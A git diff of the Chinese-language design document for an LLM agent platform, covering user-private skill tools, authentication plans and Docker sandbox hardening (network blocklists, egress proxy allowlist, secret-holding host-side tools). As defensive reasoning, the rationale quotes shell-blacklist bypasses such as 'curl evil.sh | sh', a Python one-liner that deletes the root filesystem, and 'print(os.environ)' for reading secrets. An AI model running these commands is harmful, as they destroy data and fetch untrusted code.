Compare commits
4 Commits
815aeb81a9
...
958678aa12
| Author | SHA1 | Date |
|---|---|---|
|
|
958678aa12 | |
|
|
d9b48bdb96 | |
|
|
e45705c672 | |
|
|
4b839e6425 |
220
DESIGN.md
220
DESIGN.md
|
|
@ -39,7 +39,8 @@ zcbot/
|
|||
│ ├── fs.py # read / write / edit (唯一匹配) / glob / grep
|
||||
│ ├── shell.py # subprocess + 黑名单
|
||||
│ ├── run_python.py # tmp .py + subprocess + 敏感 env 过滤
|
||||
│ └── skill_tool.py # load_skill
|
||||
│ ├── skill_tool.py # load_skill
|
||||
│ └── skill_authoring.py # save_skill / fork_skill(host-side 写用户 .skills)
|
||||
├── skills/{coding,ppt,proposal}/ # SKILL.md + references / scripts / assets
|
||||
├── prompts/system/general_v1.md
|
||||
├── config/{agent.yaml, models/*.yaml}
|
||||
|
|
@ -76,7 +77,7 @@ ReAct:LLM → 若有 tool_calls 就执行 → 结果塞回消息 → 再调 LLM
|
|||
yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` / `thinking_mode` / `long_context`(opt-in)。不改 yaml,只出 rich Table 报告。**显式触发,不进启动路径**(避免烧 API)。
|
||||
|
||||
### 3.4 工具系统(Hybrid 范式)
|
||||
**JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill — 离散操作。
|
||||
**JSON tool call**(`tools/`):read / write / edit / glob / grep / shell / run_python / load_skill / save_skill / fork_skill — 离散操作。
|
||||
**Code execution**(`run_python`):tmp `.py` + subprocess + 工作目录限制 + 敏感 env 过滤(`*API_KEY *TOKEN *SECRET *PASSWORD *PRIVATE_KEY`)— 批处理 / 算数据 / 生成文档。
|
||||
关键设计:`edit` **唯一匹配**(CoreCoder 风格,old_str 重复即报错);工具按**原子操作**切分,不做 `make_pptx()` 这种高级封装。
|
||||
|
||||
|
|
@ -84,6 +85,8 @@ yaml 是手填的,probe 用真实调用对账:`basic_chat` / `parallel_tools` /
|
|||
对齐 Anthropic 2025-12 开放标准。三层加载:Discovery(`name + description`,几百 token)→ Activation(`load_skill(name)` 加载完整 SKILL.md,1-5K)→ Execution(SKILL.md 指 `references/xxx` 按需拉)。
|
||||
原则:写 WHY+WHAT,不写 Step 1/2/3。description 决定模型能否触发。
|
||||
|
||||
**用户私有 skill(多来源 registry,2026-06-11)**:`SkillRegistry` 收**有序来源列表**——内置 `ROOT/skills`(只读)+ 用户 `user_root/.skills`(可写,per-user)。用户来源排后,**同名覆盖内置(user wins)**;覆盖在 discovery 显式标注,不静默。取舍:① **user wins** 而非 namespace 隔离——核心用例是"copy 内置 skill 再改",同名覆盖才符合"我的覆盖全局"直觉,且 skill 是纯指引、覆盖只作用于该用户自己会话,blast radius 锁死;② **创作走 host-side typed tool**(`save_skill`/`fork_skill`)而非 fs/shell——fs 的 base_dir 锚 cwd(host)/ 容器 wd(docker),够不到 `user_root/.skills`,跨 backend 不可靠;host-side 工具知 user_root,一个落点两模式通吃(与 seedream/document_* 持 key host-side 同范式),且 `fork_skill` copytree 整目录解决"带脚本 skill 的 fork";③ 用户来源加载失败(YAML 坏 / 缺 description)收进 `load_errors` 注入 prompt 提示用户修,不静默丢、不崩整次扫描。
|
||||
|
||||
### 3.6 Session 与 Task
|
||||
|
||||
**Session**(`core/session.py`)= 消息列表 + meta,**直接 ORM 写 PG `messages` 表**(append-only,`jsonb` 存 LiteLLM 原样 payload)。
|
||||
|
|
@ -193,7 +196,7 @@ SaaS 化不是"重写",而是把同一份 web `/v1` 服务部署到云端。
|
|||
| working_dir | `workspace/users/<user_id>/<name>/` | `<storage_root>/users/<user_id>/<name>/` |
|
||||
| Memory | `workspace/users/<user_id>/.memory/` (FS, dotfile) | `<storage_root>/users/<user_id>/.memory/` |
|
||||
| Sandbox | subprocess + env 过滤 | per-user sandbox container + per-tool exec |
|
||||
| Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径;邮箱密码同步下线) |
|
||||
| Auth | 邮箱密码(`users.email/password_hash`,bcrypt)→ JWT;platform_key → JWT(机器对机器) | OIDC → JWT(D' 替换 platform_key 路径);**邮箱密码长期保留**,与 OIDC 并存 |
|
||||
|
||||
`workspace/` 仅存 skill 产物,state / messages 全在 PG。本地 vs SaaS 共用 `users/<user_id>/` 子树布局,差别只在外层根目录,不在 storage 形态。
|
||||
|
||||
|
|
@ -307,7 +310,7 @@ done {}
|
|||
|
||||
**信任模型**:platform 是单点可信中间层(持 PLATFORM_KEY = 可为任意 user_id 签 token),风险与"platform 服务端泄漏 = 用户身份泄漏"同级,可接受。
|
||||
|
||||
**未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变;邮箱密码路径同步下线。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。
|
||||
**未来形态(真 OIDC)**:Provider 签 ID token,zcbot `/v1/auth/login` 内部从"校验 PLATFORM_KEY"换成"校验 ID token 签名 + 提取 sub" — **路由层 Depends 不动**,Bearer JWT 契约不变。**邮箱密码路径长期保留**,与 OIDC 并存(自有账号体系 + 同事试用不依赖外部 IdP);OIDC 只接管 platform 机器对机器那条路径。所有 storage/executor scoped by `user_id`,**无 tenant 层** — 个人 SaaS 用不上,做企业版再加 `org_id` 等价隔离。
|
||||
|
||||
### 7.4 存储:Postgres + 本地文件系统
|
||||
|
||||
|
|
@ -384,68 +387,40 @@ create index on usage_events (model_profile, created_at);
|
|||
**网络**:容器默认 deny outbound 更安全;搜索和网页抓取走宿主后端受控工具。确需安装依赖时走受控 PyPI 镜像或 HTTP proxy,并计量下载量;不要让容器自由 `curl` 外网 / 内网 / cloud metadata。
|
||||
**选型**:起步 Docker;流量起来后视情况换 gVisor / Firecracker / e2b。
|
||||
|
||||
**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定)** — 原则到代码的具化,实施时按此对账,避免靠记忆:
|
||||
**落地清单(Stage C 实施硬协议,与 PROGRESS Stage C DoD 锚定;实施时按此对账)**:
|
||||
|
||||
1. **网络 blocklist 硬编码段**(容器 iptables 启动脚本必含,**任一缺失视为 Stage C 未完成**):
|
||||
- `169.254.0.0/16`(cloud metadata,AWS/GCP/Azure 通用 SSRF 攻击向量,Capital One 2019 同款)
|
||||
- `127.0.0.0/8` / `::1`(loopback,防容器回头打宿主端口)
|
||||
- `10.0.0.0/8` / `172.16.0.0/12` / `192.168.0.0/16`(内网三段)
|
||||
- `100.64.0.0/10`(CGNAT,云平台常用)
|
||||
- **PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,无论它落在哪个段;Docker 用户自定义网络 / VPC peering 等设置会让"段级 block 看似已覆盖"实际能直连)
|
||||
1. **网络 blocklist 硬编码段**(容器 iptables 启动必含,**任一缺失=Stage C 未完成**):`169.254.0.0/16`(cloud metadata SSRF)、`127.0.0.0/8`+`::1`(loopback)、内网三段 `10/8`+`172.16/12`+`192.168/16`、`100.64.0.0/10`(CGNAT);**PG 实际 IP 单独再 block 一遍**(belt-and-suspenders,自定义网络/VPC peering 会让段级 block 看似覆盖实际能直连)。
|
||||
|
||||
2. **网络 egress 模型**:容器内 `HTTP_PROXY` / `HTTPS_PROXY` env 强制走宿主侧 proxy + 容器 iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。Proxy 跑宿主侧(Squid 或自家 aiohttp),负责:① 域名 allowlist;② 红线段 IP block(同上,proxy 侧也再做一次,defense-in-depth);③ per-user 出网字节计量,纳入 §7.5 软配额(超额 429);④ 审计日志 `network_audit (user_id, task_id, ts, method, host, path, status, bytes_in, bytes_out)`。**Allowlist 初始集**:`*.pypi.org` / `*.pythonhosted.org` / `github.com` / `raw.githubusercontent.com` / `codeload.github.com` / `objects.githubusercontent.com` / `*.npmjs.org` + 部署配置的 PyPI 镜像域名。后续按用户反馈逐步加,优于"全开后某天挖矿事件"。
|
||||
2. **网络 egress 模型**:容器内 `HTTP(S)_PROXY` 走宿主侧 proxy + iptables `DROP outbound except <proxy port>`(防 SDK 不读 env 绕过)。宿主 proxy 负责:① 域名 allowlist;② 红线段 IP block(再做一次);③ per-user 出网字节计量入软配额(超额 429);④ 审计日志 `network_audit`。**Allowlist 初始集**:`*.pypi.org`/`*.pythonhosted.org`/`github.com`/`raw|codeload|objects.githubusercontent.com`/`*.npmjs.org` + 部署的 PyPI 镜像域名。
|
||||
|
||||
3. **进程组清理协议**:`docker exec` 命令通过 `setsid` 包一层(`docker exec <c> setsid <cmd>` 或在容器 entrypoint 内封装);timeout / cancel / 正常结束三种路径都走 `kill -- -PGID` 杀整个进程组。**目的**:防 `nohup &` / `disown` / 派生 daemon 在容器内跨 exec 持久化。同 user 不做内隔离 → 残留进程能看到后续 exec 的 in-memory 状态,这是接受的 #1 残留风险,但其前提是没有 stale 进程能跨 exec 存活——这条协议守不住,残留风险就放大成"跨对话持久后门"。
|
||||
3. **进程组清理协议**:`docker exec` 通过 `setsid` 包一层,timeout/cancel/正常结束三路径都 `kill -- -PGID` 杀整组。**目的**:防 `nohup &`/`disown`/派生 daemon 跨 exec 持久化——同 user 不做内隔离,stale 进程能看到后续 exec in-memory 状态,守不住这条残留风险就放大成"跨对话持久后门"。
|
||||
|
||||
4. **磁盘配额硬化时点**:首版用应用层统计 + 周期扫描(对应 §7.5 软配额);**外部用户开放前必须升级到 xfs project quota 或 ext4 project quota 或 zfs dataset quota**。否则"扫描间隙打满共享 fs"会拖死同节点其他 user(攻击者写满速度远快于扫描周期),且不属于配额超额行为,排查痛苦。
|
||||
4. **磁盘配额硬化时点**:首版应用层统计 + 周期扫描(=软配额);**外部用户开放前必须升级到 xfs/ext4 project quota 或 zfs dataset quota**。否则扫描间隙打满共享 fs 会拖死同节点其他 user(写满远快于扫描周期),且不算配额超额、排查痛苦。
|
||||
|
||||
5. **Executor 接口签名 + runtime config 注入**:不在工具调用层 hard-code `docker exec`,通过 backend driver 抽象:
|
||||
```python
|
||||
class Executor:
|
||||
async def call_tool(self, tool: str, args: dict, ctx: ExecCtx) -> ToolResult: ...
|
||||
```
|
||||
Container 创建参数走 config:`ZCBOT_SANDBOX_RUNTIME=runc|runsc|...`(默 `runc`),per-user 容器起的时候 `docker run --runtime=<runtime>`。**理由**:未来切 gVisor / Firecracker / Kata / e2b 时应用层零改动(只换 backend driver + 改 config + 重启容器),避免接口形状泄漏 Docker 假设(`docker exec` / `docker cp` / `docker stats`)导致后期重写。
|
||||
5. **Executor 接口 + runtime config 注入**:不在工具层 hard-code `docker exec`,走 backend driver 抽象(`Executor.call_tool(tool, args, ctx)`);container runtime 走 config `ZCBOT_SANDBOX_RUNTIME=runc|runsc`(`docker run --runtime=`)。**理由**:未来切 gVisor/Firecracker/Kata/e2b 应用层零改动,避免接口泄漏 Docker 假设(`docker exec/cp/stats`)致后期重写。
|
||||
|
||||
6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正,原"host 工具走 paths.py::resolve_user_path 校验"是假命题,代码里没那函数;Ubuntu dogfood 第一次切 docker backend 发现 glob 工具仍列 host repo `.git/.venv/...`,改物理边界替代代码护栏):
|
||||
- **Container exec backend**:`shell` / `run_python` / `read` / `write` / `edit` / `glob` / `grep` — 全走 docker exec。shell/run_python 是任意代码必须隔离;fs 工具(read 等 5 个)以前在 host 跑 `base_dir = Path.cwd()` 无 user_root 校验,能读 host 全 fs(`/etc/passwd` / zcbot 源码 / `~/.ssh/`),改进容器后 `user_root=/workspace` 是物理边界。fs 工具调用形态:`docker exec --user zcbot --workdir /workspace/<wd> -i <c> python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK / 引号 / 路径分隔符透明传,不被 shell metachar 切)。`tool_runner.py` 在镜像里 `/sandbox/`,复用 `tools/fs.py` 的 Tool 子类(`COPY tools/ /sandbox/tools/`);skill references 通过额外的 `<repo>/skills:/sandbox/skills:ro` mount 暴露(只读)。
|
||||
- **Host in-process backend**:`load_skill` / `web_search` / `web_fetch` / `seedream` / `seedance` / `document_*` / `mp_*` — 持 Bocha/ARK/document_search/MP API key 不能塞容器 env(SaaS 时 key 泄漏面增加);`load_skill` 是 SkillRegistry 内存查找,无 fs 访问越界可能。Step 4 egress proxy 之后再讨论这几个工具的容器化方案(media tool 调远端 API 走 proxy 比 key 入容器更直)。
|
||||
- Dispatcher(`DockerExecutor`)内部分流,使用方(`AgentLoop`)零感知。**接口形状按"未来若需全部进容器 + 内部 tool-runner unix socket RPC"留好**,升级触发信号见下表。
|
||||
- **代价**:每个 fs tool call 多 ~200ms docker exec overhead;对话级 N≤15 → 总 1-3s,LLM 推理时间 5-30s 下面噪声。镜像 build 多一步 `COPY tools/`,rebuild 增量 ~5s。
|
||||
6. **工具按信任域二分,Executor 内部 dispatch**(2026-05-26 修正:原"host 工具走 `resolve_user_path` 校验"是假命题无此函数;dogfood 发现 glob 仍列 host repo,改物理边界替代代码护栏):
|
||||
- **Container exec backend**:`shell`/`run_python`/`read`/`write`/`edit`/`glob`/`grep` 全走 docker exec。shell/run_python 是任意代码;fs 工具以前 host 跑 `base_dir=Path.cwd()` 无 user_root 校验能读 `/etc/passwd`/源码/`~/.ssh`,进容器后 `user_root=/workspace` 是物理边界。调用形态:`docker exec --user zcbot --workdir /workspace/<wd> -i <c> python /sandbox/tool_runner.py <name>` + stdin 喂 JSON args(CJK/引号透明传);`tool_runner.py` 复用 `tools/fs.py`,skill references 走 `skills:/sandbox/skills:ro` mount。
|
||||
- **Host in-process backend**:`load_skill`/`save_skill`/`fork_skill`/`web_*`/`seedream`/`seedance`/`document_*`/`mp_*` — 持 key 不能进容器 env;`load_skill` 是内存查找无越界;`save_skill`/`fork_skill` host-side 写 `user_root/.skills`(沙箱 fs 的 base_dir 够不到)。
|
||||
- Dispatcher(`DockerExecutor`)内部分流,`AgentLoop` 零感知;接口形状按"未来全进容器 + tool-runner unix socket RPC"留好(升级信号见下表)。**代价**:每 fs tool call 多 ~200ms,对话级 N≤15 → 1-3s,LLM 推理 5-30s 下噪声。
|
||||
|
||||
7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01 补充):
|
||||
- 原则:凡是需要 `*_API_KEY` / OAuth token / DB credential 的能力,**不能**以 `run_python` helper 形态要求容器读 env,也不能做"credential broker 给 sandbox 发短期 key"。sandbox 内的任意代码可 `print(os.environ)` / monkeypatch SDK / exfiltrate 请求头;短期 token 只缩短有效期,不改变"不可信代码拿到 secret"这个根因。
|
||||
- 正确形态:把这类能力做成 **host-side JSON tool**。LLM 传非敏感业务参数 → host tool 从宿主 env / secret manager 取 key 调远端 API → 对返回做字段裁剪 / 大小限制 / 配额计量 / 审计 → 只把业务结果或写入 workspace 的文件路径返回给模型。容器最多读到落盘产物,永远读不到 key / Authorization header。
|
||||
- 现有命中问题:
|
||||
- `documents` skill 当前 `skills/documents/client.py` 要在 `run_python` 里读 `DOCUMENT_SEARCH_API_KEY`,所以 docker sandbox 下必然不可用;应改为 host tool `document_list_kb` / `document_search` / `document_download`,key 只在 host client 内使用,download 写入当前 task_dir 的 `documents/` 后返相对路径。
|
||||
- `pymatgen` skill 的离线计算(`Structure.from_file` / `XRDCalculator` / `SpacegroupAnalyzer`)继续在 sandbox 跑;Materials Project 联网查询不能让 `mp_rester()` 在 sandbox 读 `MP_API_KEY`,应拆成 host tool `mp_search_summary` / `mp_get_structure` / `mp_get_entries`。host tool 返回裁剪后的 summary 或把 CIF/JSON 写到 task_dir,后续离线 pymatgen 再读文件计算。
|
||||
- 注册规则:host tool 仅在对应 env 存在时注册;未配置时 schema 不暴露,skill 文档提示降级路径。这样模型不会看到一个永远失败的工具,也不会被诱导在 sandbox 中寻找 secret。
|
||||
- 审计与配额:这类 host tool 按 user/task 记录 `usage_events` 或专门 audit 表(请求类型、目标服务、返回条数、下载字节、耗时、错误码),纳入月度 cost / 网络下载量 / 单次结果大小限制。返回给 LLM 的正文必须默认截断,大文本落文件后由 `read` 按需读取。
|
||||
7. **Secret-bearing domain tools 不进 sandbox,不做 key 下发**(2026-06-01):凡需 `*_API_KEY`/OAuth/DB credential 的能力**不能**让容器读 env,也不做"credential broker 发短期 key"(sandbox 内任意代码可 `print(os.environ)`/monkeypatch SDK,短期 token 只缩有效期不改根因)。正确形态=**host-side JSON tool**:LLM 传非敏感业务参数 → host tool 取 key 调远端 API → 裁剪/限大小/计量/审计 → 只返业务结果或落盘文件路径,容器最多读到落盘产物。已落地:`documents`/Materials Project 改 host tool(详 PROGRESS 06-01)。注册规则:仅对应 env 存在时注册,否则 schema 不暴露 + skill 文档提示降级。
|
||||
|
||||
**升级触发信号(写下来防遗忘,反向兜底:无信号不升级)**:
|
||||
**升级触发信号(反向兜底:无信号不升级)**:
|
||||
|
||||
| 升级方向 | 触发信号 | 不升级的理由 |
|
||||
|---|---|---|
|
||||
| Docker → **gVisor** (`runsc`) | 开放陌生用户注册 / 容器逃逸 CVE 公开未及时打补丁窗口期 / 出现可疑 syscall 模式告警 | 现状 Docker + 完整 hardening 已挡住主流容器逃逸路径外的攻击,剩下 kernel 0day 在 dogfood + 信任用户阶段不是 #1 风险;gVisor syscall 重 -30~50% 是真代价 |
|
||||
| gVisor → **Firecracker / e2b** | 合规客户(PCI / HIPAA) / 高密度多租户(单机 100+ user) / gVisor 兼容性墙撞死(某 C 扩展跑不起来) | Firecracker 内存账每 VM 100MB+ 起步,zcbot 量级不划算;e2b 让数据出去执行再回来,与 storage_root 自持模型冲突 |
|
||||
| `docker exec` → **容器内 tool-runner**(unix socket RPC) | metric `docker_exec_overhead / total_tool_time > 30%` 持续两周 / "模型在容器内起长驻 web 服务并对外服务"工作流 / 单 task 一轮工具调用 >20 次 | 自管进程组清理 + 自管 cgroup 切片 + 协议自带状态污染面 + 失去 Docker 工具链观测(`docker stats` / `docker top` / `docker exec -it bash` 紧急介入)代价 >> 那 200ms × N 收益;**美学统一性 ≠ 升级理由** |
|
||||
| Docker → **gVisor**(`runsc`) | 开放陌生注册 / 逃逸 CVE 未及时打补丁窗口 / 可疑 syscall 告警 | Docker + 完整 hardening 已挡主流逃逸,kernel 0day 在 dogfood 阶段非 #1 风险;gVisor syscall -30~50% 是真代价 |
|
||||
| gVisor → **Firecracker / e2b** | 合规客户(PCI/HIPAA) / 单机 100+ user / gVisor 兼容墙撞死 | Firecracker 每 VM 100MB+ 起步不划算;e2b 数据出去执行与 storage_root 自持模型冲突 |
|
||||
| `docker exec` → **容器内 tool-runner**(socket RPC) | `docker_exec_overhead/total > 30%` 持续两周 / 模型起长驻 web 服务 / 单轮工具调用 >20 次 | 自管进程组清理 + cgroup + 状态污染面 + 失去 Docker 工具链观测,代价 >> 200ms×N;**美学统一性 ≠ 升级理由** |
|
||||
|
||||
**Image 体积 / 多 user 资源 / 后续加包策略**(2026-05-28):
|
||||
**Image 体积 / 多 user 资源 / 加包策略**(2026-05-28):sandbox image ~1.5G(python+chromium+node+mermaid),后续 domain 包还会推大。三点认知分开:
|
||||
|
||||
zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大。先把三件事认知分开,避免把 image 大小当万能背锅侠:
|
||||
1. **Image 大 ≠ 运行时吃更多资源**:空载 `sleep infinity` RSS 个位数 MB,image 里的库不 exec 只是磁盘字节;layer 共享让 N 个 user 容器磁盘乘数=1。真吃 RAM 的是 active exec(chromium 渲 mermaid 瞬时 200-500MB),跟 image 大小解耦。
|
||||
2. **多 user 瓶颈在并发 exec 不在 idle 容器**:100 idle 容器几百 MB 可接受;10 user 同渲 mermaid 瞬时 2-5GB 才是瓶颈。**杠杆全在运行时**(单容器 `--memory/--cpus/--pids-limit` + 同 user exec semaphore + 整机 active cap + idle 5min 回收),减 image 体积对这条曲线无影响。
|
||||
3. **新增依赖:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:重包(torch/texlive)或长尾 domain 包不进 base,中高频+轻量的留 base;**采用 per-user venv** 落 `<user_root>/.venv/`(bind mount 进容器 idle 回收不丢,`pip install --target` + `PYTHONPATH` 注入)。不放共享 named volume(破坏跨 user 隔离,install 脚本是任意代码);不依赖 pip cache(只省网络、回收照丢)。**沉淀机制**:audit 统计 >30% user 装过 ≥3 次的包 → 下次 build 合并进 `requirements.txt`,base 跟真实使用收敛。
|
||||
|
||||
1. **Image 大 ≠ 运行时吃更多资源**。`deploy/sandbox/Dockerfile:120` 启动是 `tini → init.sh → sleep infinity`,空载 RSS 个位数 MB;image 里的 chromium / numpy / npm 不 exec 就只是磁盘字节,不进内存。layer 共享让 N 个 user 容器共用同一个 image,磁盘乘数 = 1。**真吃 RAM 的是 active exec**(chromium 渲 mermaid 瞬时 200-500MB,大数据集另算),跟 image 大小解耦,跟"模型让容器干啥"挂钩。
|
||||
2. **多 user 同时在线的瓶颈在并发 exec,不在 idle 容器**。100 个 idle per-user 容器约几百 MB RSS,可接受;10 个 user 同时让模型渲 mermaid 瞬时 2-5 GB,这才是瓶颈。**杠杆全在运行时**:`docker run --memory --cpus --pids-limit` 单容器硬顶 + 同 user 并发 exec semaphore + 整机 active user cap(超额排队 / 429)+ idle 5 分钟回收(已规划)。**减 image 体积对这条曲线不产生影响**,不在 image 上花减肥功夫。
|
||||
3. **新增依赖策略:base 收敛 + per-user 持久化 venv + 使用频次沉淀**:
|
||||
- **(a) 全塞 base**:重 (torch 1G+ / texlive 2G+) 或长尾 domain 包不该进,build 慢 / pull 慢 / 所有 user 拍磁盘陪绑;但中高频 + 多 skill 共用 + 轻量(MB 级)的继续放 base(当前 `requirements.txt` 大致就是这类)。
|
||||
- **(b) 运行时临时装**:适合单次实验;**容器 idle 回收即丢**,冷启又装,高频复用差。
|
||||
- **(c) 多 image 按场景分**:per-user 容器模型下 user 不知道自己要哪个,切 skill 还得换 image —— 心智不通,**不采用**。
|
||||
- **采用:(a) + 持久化 per-user venv**。每个 user 一个持久化 venv 落 `<storage_root>/users/<user_id>/.venv/`(随 user_root bind mount 进 `/workspace/.venv/`,容器 idle 回收不丢);模型用 `pip install --target=/workspace/.venv/site-packages` 装到持久化路径,exec 时 `PYTHONPATH=/workspace/.venv/site-packages` 注入。**沉淀机制**:加 audit 统计哪些包累计被 >N% user 装过 → 下次 image build 时合并进 `requirements.txt`,base 跟着真实使用模式收敛而非拍脑袋。
|
||||
- **为什么不把 venv 放 named volume / image cache**:跨 user 共享 venv 破坏跨 user 隔离(包 install 脚本是任意代码,一个 user 装的 setup.py 可读另一 user 的 venv);per-user 隔离 venv 与 §7.5 跨 user 隔离 / 同 user 内不隔离的边界一致。
|
||||
- **为什么不依赖 pip cache**:pip cache 只省网络 / 不省落盘,装到 `/tmp` 容器一回收照样丢;venv 持久化才解决"冷启不重装"。
|
||||
- **npm / chromium / pandoc 等系统级保持 base**,无机非金属材料场景下 per-user node_modules 没必要分。
|
||||
- **沉淀阈值起步 >30% user 装过 ≥ 3 次** 进 base;过低噪声多,过高沉淀慢,后续按观察调。
|
||||
|
||||
`Image 大 = 资源占用大` 是表象关联,真因子是 active exec 行为 + 单 user 容器并发限制;`继续往 base 加包 vs 临时装` 是伪二选一,**长尾私有 + 高频沉淀**是更合身的形状。落地排期对应 Step 6 Executor 实施(`PROGRESS.md` Stage C):cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进 `DockerExecutor`;audit 沉淀机制可延后,有 dogfood 安装日志再开。
|
||||
落地对应 Stage C `DockerExecutor`(cgroup limits / 并发 semaphore / idle 回收 / per-user venv);audit 沉淀可延后。
|
||||
|
||||
### 7.6 Core 代码改造(按依赖顺序)
|
||||
|
||||
|
|
@ -475,7 +450,8 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后
|
|||
| B | Storage 落 PG + working_dir 语义 + no-subtask | 一次性切换,无双轨(见下) |
|
||||
| D | HTTP /v1 surface | — |
|
||||
| D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | — |
|
||||
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 |
|
||||
| CORS 收紧 | `allow_origins` 从 `*` 改 platform 域名 allowlist | 已接入真实用户,**应尽快做**(与 OIDC 解耦) |
|
||||
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验(邮箱密码并存保留) | 选做,platform_key 信任模型可接受则可延后;真要弃 PLATFORM_KEY 共享密钥时再做 |
|
||||
| C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) |
|
||||
| ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) |
|
||||
| ~~G~~ | ~~Web UI 简洁版~~ | 撤(§7.9) |
|
||||
|
|
@ -527,135 +503,55 @@ zcbot-sandbox image 已 ~1.5G(python deps + chromium + nodejs + mermaid-cli),后
|
|||
|
||||
**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。
|
||||
|
||||
**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)。**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。
|
||||
**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):dogfood 经验同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0。走 Claude Code 同款"信任 + 软警告 + 承认 limitation",dev SPA 在 selectTask + SSE 收尾拉同 wd 活跃邻居挂 banner,不挡发送,真高频再升级。**不选 γ(同 wd 单活 gate)**:硬挡破坏扁平共享中间产物的切换流畅性;**不选 short_id 全产物隔离**:破坏 §7.1 共享语义 + SKILL 改造成本;**不选 clone task**:对零频"真要并行"场景工程量过重。
|
||||
|
||||
**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。
|
||||
